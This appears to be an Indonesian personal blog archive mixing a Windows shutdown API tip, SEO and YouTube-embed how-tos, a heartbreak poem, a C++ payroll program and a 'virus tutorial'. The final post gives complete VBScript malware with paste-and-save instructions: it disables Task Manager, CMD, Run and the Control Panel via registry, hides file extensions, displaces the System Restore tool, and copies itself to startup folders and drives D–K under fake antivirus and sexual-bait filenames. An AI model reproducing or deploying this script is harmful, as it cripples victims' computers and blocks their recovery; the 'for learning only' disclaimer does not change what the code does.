Effand Nozh: 2009

Shut Down PC lebih cepat.

Men-shutdown Komputer Lebih cepat

Untuk melakukan restart, shutdown atau log off komputer, gunakan fungsi ExitWindowsEx. Ada pun deklarasi dari fungsi ExitWindowsEx adalah sebagai berikut :

function ExitWindowsEx

uFlags : word ; dwReserved : DWORD): BOOL;

Parameter pertama menerangkan ”apa yang harus dilakukan” oleh komputer. Parameter ini dapat bernilai :

EWX_RESTART

Melakukan restart dengan menampilkan peringatan.
EWX_SHUTDOWN

Melakukan shutdown dengan menampilkan peringatan.
EWX_LOGOFF

Melakukan log off dengan menampilkan peringatan.
EWX_FORCE

Melakukan shutdown tanpa menampilkan peringatan. Sehingga ada kemungkinan Anda akan kehilangan data yang belum disimpan (belum di-save).

Sedangkan parameter kedua bernilai 0.
Sehingga bila ingin melakukan shutdown cukup tulis kode berikut ini :

ExitWindowsEx (EWX_SHUTDOWN, 0);

Semoga bermanfaat.

Title Blog SEO | Aregnoz SEO Tutorial

Add Comment

Title Blog SEO | SEO Tutorial

Title SEO adalah salah satu trik agar blog kita terindeks paling atas saat searc di google. Berikut ini adalah title Blog seo yang sudah saya coba dan hasilnya mantab gan.

Monggo di terapkan di Blog anda.
<head>

Cara memasang Youtube di Blog

Add Comment

Cara memasang Youtube di Blog ~ Youtube adalah salah satu website penyedia content video terbesar di seluruh dunia. Berikut ini saya sharekan bagaimana cara memasang youtube di blog kesayangan kita. tidak terlalu sulit untuk memasangnya.

Caranya sebagai berikut :

1. Masuk/log in blogger

2. Pilih tab Rancangan

3. Kemudian Add gadget

4. kemudian copykan scrip ini

<embedwidth="420" height="345"
src="http://www.youtube.com/v/XGSy3_Czz8k"
type="application/x-shockwave-flash"></embed>

5. Tulisan berwarna putih, ganti dengan link/embed dari youtube.

Save, dan lihat hasilnya.
Semoga berhasil.

Sedikit Coretan Hati Kecilku | Move On

Add Comment

Sedikit Kenangan Waktu saya masih SMK yang saat itu sedang Suka sama Seseorang hingga akhirnya sesuatu terjadi. Tak banyak hal yang bisa diceritakan, puisi berikut ini mewakilinya hingga waktu nanti akan tetap terwakili.

Sedikit Coretan Hati Kecilku | Move On

Tawa itu hadir…..
senyum itu ada dalam hariku….
kini hilang..
telah musnah semuanya….
bersama kepergianku…darimu….

Cinta ini selalu ada….
setia ini akan ada….
bersama kepergianku..
darimu…..
luka ini…
air mata ini…
penyesalan ini…
kan kubawa bersama kepergianku.

maapkan aku…
akan kesetiaan ini
akan cinta ini
akan pengertian ini…
akan pengabdian ini
kepadamu…..

maapkan karena keterbatasanku..
karena ketidak sempurnaanku…
maap jika aku pengecut…
karena keterbatasan ini….
hati ini telah terluka (lagi).

Terima kasih untuk lukaku
terima kasih buat air mata ini
penyesalan yang teramat sakit.

Mungkin benar…
semua ini salahku…
karena mencintaimu..
karena aku tak pantas untuk dicintai….

Pergilah jika dirimu menginginkan…
terbanglah bebas…
kepakkan sayapmu…
karena dirimu telah bebas
jangan pernah ingat luka ini lagi.

Semuanya terlalu sakit untuk di kenang
jadikan aku kenangan burukmu..
bunuhlah aku dari hidupmu…
seperti dirimu membunuhku…
seperti saat ini….

Aku menyesal…
karena ternyata..
semuanya hanya mimpi…
seharusnya aku sadar
seharusnya aku tau diri
tak seharusnya aku mencintaimu
sedalam ini…

Lakukan apa yang ingin kau lakukan
aku tak akan mengganggumu lagi…
bersama kepergianku…
dari semuanya…..
hati ini rapuh….
jiwa ini telah mati.

Karena dirimu….
entah mahkluk apa dirimu…
karena seperti batu
tak punya hati…
tak punya perasaan…
cukup luka ini sampai disini
apa artinya diri ini
tanpa harga diri
semoga dirimu puas…
telah buatku mati karena
kebohonganmu….

Aku salah menilaimu..
kukira dirimu sayang..
cinta kepadaku
ingin menjagaku…
tak buatku nangis lagi…
ternyata janji itu……
hanya bisa aku dengar ditelingaku
hanya bisa aku simpan dalam memoriku.

Janji kini tinggallah janji…
kini aku percaya….
kini aku yakin….
dirimu bukan yang terbaik untukku
ataupun sebaliknya….

Sudah cukup semua ini aku lalui lagi,
aq sudah tidak kuat…
jiwaku rapuh
jiwaku mati….

Semoga dapat yang terbaik
yang bisa menerima apa adanya
dirimu……..
maap atas keterbatasanku
dalam menyintaimu..
mungkin kesendirian akan lebih baik…
untukku……juga dirimu….
aku ingin senyumku kembali
seperti dulu…..
entah luka ini sampai kapan
aku menyimpannya

Maapkan atas cinta ini
maapkan atas keterbatasan ini
maapkan atas ketidakk sempurnaanku
maapkan…….

Dengan kepergianku…
semoga dirimu puas…
dan luka ini..akan terpatri
semoga dirimu tenang tanpaku..
bahagia tanpa diriku
disampingmu……

SELAMANYA…..!!!!

#meniti masa-masa berjuang lagi. . .
#jaman SMK - Ababil

CPP Menghitung Gaji Pokok dan Tunjangan

Add Comment

Contoh Program CPP Menghitung Gaji Pokok dan Tunjangan

Script :
#include <iostream.h>
#include <conio.h>
#include <math.h>
#include <stdio.h>
#include<string.h>
void main()
{
char nip[10], nama[20],jabatan[10];
int gol;
clrscr();
long gaji_pokok, jml_anak, tabungan, simp_wajib, simp_pokok;
double total_gaji, total_terima_gaji, potongan, tunj_anak, tunj_istri;
//double gaji_pokok;
tabungan = 25000;
simp_wajib =20000;
simp_pokok=15000;
cout<<" masukkan nip = "; cin>>nip;
cout<<" masukkan nama = "; gets(nama);
cout<<"masukkan gol = ";cin>>gol;
cout<<"masukkan gapok=";cin>>gaji_pokok;
cout<<" masukkan jml anak = "; cin>>jml_anak;

tunj_istri=(2*gaji_pokok)/100;
tunj_anak= (jml_anak*3*gaji_pokok)/100;
potongan = tabungan + simp_wajib + simp_pokok;
total_gaji = (gaji_pokok+tunj_istri+tunj_anak);
total_terima_gaji = (gaji_pokok+tunj_istri+tunj_anak)-potongan;
if (gol==1)
{cout<<"jabatan=manager";cout<<"\n";}
else if (gol==2)
{cout<<"jabatan=direktur";}
else if (gol==3)
{cout<<"jabatan=staf";}
else if (gol==4)
{cout<<"jabatan=umum";}
cout<<"\n";
//output
cout<<"*********************************************************";
cout<<"\n";
cout<<" GAJI PEGAWAI BULAN : OKTOBER 2009"; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"NIP : " <<nip; cout<<"\n";
cout<<"NAMA : " <<nama; cout<<"\n";
cout<<"GOL : " <<gol; cout<<"\n";
cout<<"JABATAN : " <<jabatan;cout<<"\n";
cout<<"GAJI POKOK : "<<gaji_pokok; cout<<"\n";
cout<<"JUMLAH ANAK : "<<jml_anak; cout<<"\n";
cout<<"TUNJANGAN ISTRI : "<<tunj_istri; cout<<"\n";
cout<<"TUNJANGAN ANAK : "<<tunj_anak; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"TOTAL GAJI : " <<total_gaji; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"POTONGAN : " <<potongan; cout<<"\n";
cout<<"*********************************************************"; cout<<"\n";
cout<<"TOTAL TERIMA : " <<total_terima_gaji; cout<<"\n";
cout<<"*********************************************************";
getch();
}

Vbs Script Virus CeweSexy | Tutorial Virus

Add Comment

Vbs Script Virus CeweSexy

Kali ini saya akan membagi script virus, script ini Diberi Nama CeweSexy, Script ini Diperbolehkan Untuk anda sebarluaskan, bahkan anda jalankan. Tapi dengan tujuan untuk pembelajaran semata. Kedewasan sikap anda sangat dibutuhkan, segala resiko yang dihasilkan oleh virus ini, diluar tanggung jawab saya.

Sekali lagi, gunakan script ini hanya untuk tujuan pembelajaran. Bukan untuk merusak, bila anda ingin melihat kemampuannya, silahkan aktifkan di komputer anda sendiri. Jangan di komputer orang lain. Saya tidak bertanggung jawab atas kerusakan yang di buat oleh virus ini.

Pertama-tama buka notepad, kemudian copas (copy-paste) script di bawah ini kedalam notepad, kemudian simpan dengan format CeweSexyLho.vbs dimulai dari on error resume next.

Copy Code Dibawah ini Ke Notepad :
On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:\Ternate.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya, CeweManiz :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVershon\Policies\Explorer\NoDrives","16","REG_D WORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA Kenalkan Saya Ini CeweSexyLho"
Set Copier = FSO.GetFile ("C:\Ternate.vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs")
FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12")
FSO.CreateFolder ("D:\Program")
FSO.CreateFolder ("E:\Program")
FSO.CreateFolder ("F:\Program")
FSO.CreateFolder ("G:\Program")
FSO.CreateFolder ("H:\Program")
FSO.CreateFolder ("I:\Program")
FSO.CreateFolder ("J:\Program")
FSO.CreateFolder ("K:\Program")
Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu")
set Dupler = FSO.GetFile (WScript.ScriptFullName)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\JilbabSexy.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\CeweManiz_Antivirus.exe.vbs")
Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs")
Dupler.Copy ("D:\Program\JilbabSexy_SETUP.vbs")
Dupler.Copy ("E:\Program\Sexy_SETUP.vbs")
Dupler.Copy ("F:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("G:\Program\Norton_SETUP.vbs")
Dupler.Copy ("H:\Program\Avg_SETUP.vbs")
Dupler.Copy ("I:\Program\Ansav_SETUP.vbs")
Dupler.Copy ("J:\Program\ToketBesar.vbs")
Dupler.Copy ("K:\Program\LagiTelanjang.vbs")
Set Runner = WScript.CreateObject ("WScript.Shell")
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\CeweManiz.vbs")

Selesai save.